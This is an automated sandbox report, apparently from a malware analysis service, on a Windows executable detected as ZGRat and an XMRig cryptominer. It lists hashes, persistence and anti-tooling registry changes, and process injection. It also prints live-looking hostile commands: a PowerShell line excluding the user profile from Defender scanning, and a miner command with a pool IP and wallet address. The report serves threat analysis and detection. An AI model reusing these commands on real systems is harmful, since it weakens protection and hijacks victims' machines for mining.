Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
23/04/2024, 14:40
Static task
static1
Behavioral task
behavioral1
Sample
f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral2
Sample
f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe
Resource
win11-20240412-en
General
-
Target
f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe
-
Size
3.9MB
-
MD5
0d28c308c7d3af1f50a24cd98d59adbe
-
SHA1
617eb940a77fffe2e8363f9a11430ebb56b4c988
-
SHA256
f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be
-
SHA512
d71da6edef67bc977ac8564f75cc0e8cdd31c0a9b37253017122f522c4d2f1ece5d8a56642dab40e3d8651ad1d1233ba0a27f78a536ddf897ddd392dbebb5ae8
-
SSDEEP
49152:/YQ9p/TMILu3UAJvYIJ7PBJw47zI8gFEtYnEZhNa+uOTapp5pP7eoi:DpgQEZPPT4Yj
Malware Config
Signatures
-
Detect ZGRat V1 1 IoCs
resource yara_rule behavioral1/memory/4056-18-0x0000025872BE0000-0x0000025872CE2000-memory.dmp family_zgrat_v1 -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/4296-25-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-26-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-27-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-30-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-31-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-29-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-32-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-33-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-34-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-40-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-41-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/4296-42-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig -
Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe -
Disables Task Manager via registry modification
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be = "\"C:\\Users\\Admin\\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe\"" f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1976 set thread context of 4056 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 91 PID 4056 set thread context of 4296 4056 csc.exe 100 -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3632 powershell.exe 3632 powershell.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe 4056 csc.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3632 powershell.exe Token: SeDebugPrivilege 4056 csc.exe Token: SeLockMemoryPrivilege 4296 AddInProcess.exe Token: SeLockMemoryPrivilege 4296 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4296 AddInProcess.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 1976 wrote to memory of 3632 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 88 PID 1976 wrote to memory of 3632 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 88 PID 1976 wrote to memory of 4056 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 91 PID 1976 wrote to memory of 4056 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 91 PID 1976 wrote to memory of 4056 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 91 PID 1976 wrote to memory of 4056 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 91 PID 1976 wrote to memory of 4056 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 91 PID 1976 wrote to memory of 4056 1976 f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe 91 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100 PID 4056 wrote to memory of 4296 4056 csc.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe"C:\Users\Admin\AppData\Local\Temp\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe"1⤵
- Disables RegEdit via registry modification
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1976 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3632
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=503⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4296
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82